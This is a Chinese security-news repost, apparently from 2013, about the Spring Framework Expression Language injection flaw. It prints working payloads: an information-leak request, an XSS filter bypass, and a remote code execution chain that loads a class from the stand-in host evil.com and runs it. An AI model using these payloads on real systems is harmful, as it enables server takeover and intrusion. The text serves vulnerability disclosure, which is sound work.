首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>漏洞资料>文章内容
Spring爆远程代码执行漏洞(含EXP)
来源:http://www.freebuf.com 作者:kelz 发布时间:2013-01-28  

上周也就是在1月16日左右,安全公司Aspect Security透露在Spring框架的开发代码中,发现了一个重大的安全漏洞。该漏洞被命名为“remote code with Expression Language injection”。他们发现,通过发送特定的Spring标签,可以导致服务器上的敏感数据暴露、执行任意代码等。(PS:该漏洞早在2011年就发现了,只是未对外公布。)

 

威廉姆斯称,Spring未来版本中将有可能默认不启用表达式语言功能,但是,目前存在的这个漏洞,如果被攻击者利用,可能会对应用程序产生大的威胁。这是非常危险的,攻击者可以完全接管一个Web应用程序,并在服务器上运行他们的代码。他还指出,该漏洞跟最近披露的浏览器Java漏洞无任何联系。

据提供开源组件的中央仓库Sonatype数据显示,目前已有超过2.2万个机构下载了超过130万次存在安全漏洞的Spring框架。

下面节选了部分在Glassfish+EL 2.2远程执行代码的列子,完整Paper查看地址

0×01:
发起请求如下:

http://vulnerable.com/foo?message=${applicationScope}

页面如果包含

<spring:message text="" code="${param['message']}"></spring:message>

会导致输出服务器的一些敏感信息,包括classpath和本地工作目录等。

0×02:
当应用程序做了过滤器,会对所有’<’和’>’进行过滤。利用Expression Language特性,可尝试如下绕过过滤:

http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPPP

发起该请求之后,当String.replaceAll方法被调用的时候。该语句会返回一段文本,并插入spring:message tag,返回的错误代码中会显示QQQQQQ。

最终成功执行XSS,绕过过滤器的语句如下:

http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”<”).replaceAll(“Q”,”>”)}&foo=PscriptQalert(1);P/scriptQ

根据老外放出的Paper,我们可以看到能成功执行任意代码。但是到目前为止,还没有任何快速修复补丁放出。因此,使用Spring框架的应用程序可能存在安全隐患,建议开发者关闭表达式语言功能。

补充:

0×03:远程执行EXP

1.建立一个ArrayList以构造一个URLClassLoader,并且需要在session中存着,可以在后面利用。

${pageContext.request.getSession().setAttribute("arr","".getClass().forName("java.util.ArrayList").newInstance())}

2.通过URL对象载入远程执行的代码类

${pageContext.request.getSession().getAttribute("arr").add(pageContext.getServletContext().getResource("/").toURI().create("http://evil.com/path/to/where/malicious/classfile/is/located/").toURL())}

远程执行的代码类(运行一个计算器)

public class Malicious {
       public Malicious() {
	   try {
                     java.lang.Runtime.getRuntime().exec("open -a Calculator"); //Mac
                     java.lang.Runtime.getRuntime().exec("calc.exe"); //Win
              } catch (Exception e) {
              }
       }
}

3.执行代码,打开一个计算器(运行结果截图见上文)

${pageContext.getClass().getClassLoader().getParent().newInstance(pageContext.request.getSession().getAttribute("arr").toArray(pageContext.getClass().getClassLoader().getParent().getURLs())).loadClass("Malicious").newInstance()}

 

关于Spring

Spring是一个开源框架,Sping 是于2003 年兴起的一个轻量级的Java 开发框架,由Rod Johnson 在其著作Expert One-On-One J2EE Development and Design中阐述的部分理念和原型衍生而来。它是为了解决企业应用开发的复杂性而创建的。Spring使用基本的JavaBean来完成以前只可能由EJB完成的事情。然而,Spring的用途不仅限于服务器端的开发。


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·XSOK环境变量本地命令执行漏洞
·N点虚拟主机管理系统 致命漏洞。
·南方数据企业网站管理系统V10.0
·动网(DVBBS)Version 8.2.0 后
·Solaris 10 telnet漏洞及解决
·破解无线路由器密码,常见无线密
·Nginx %00空字节执行php漏洞
·WinWebMail、7I24提权漏洞
·XPCD xpcd-svga本地缓冲区溢出漏
·Struts2多个漏洞简要分析
·ecshop2.72 api.php 文件鸡肋注
·Discuz!后台拿Webshell 0day
  相关文章
·phpcms多个版本后台拿shell漏洞
·最土团购网盲注n枚
·PHPCMS2008任意PHP代码执行漏洞
·FCKEditor 2.6.8文件上传和有趣
·ecshop csrf getshell
·phpcms v9本地文件包含漏洞超详
·ThinkSNS 2.8 上传任意文件漏洞
·Struts2多个漏洞简要分析
·ecshop gbk存在宽字符注入漏洞
·dedeCMS 最新注入漏洞一枚
·phpcms v9 后台上传 webshell
·Struts2远程代码执行漏洞分析(S
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved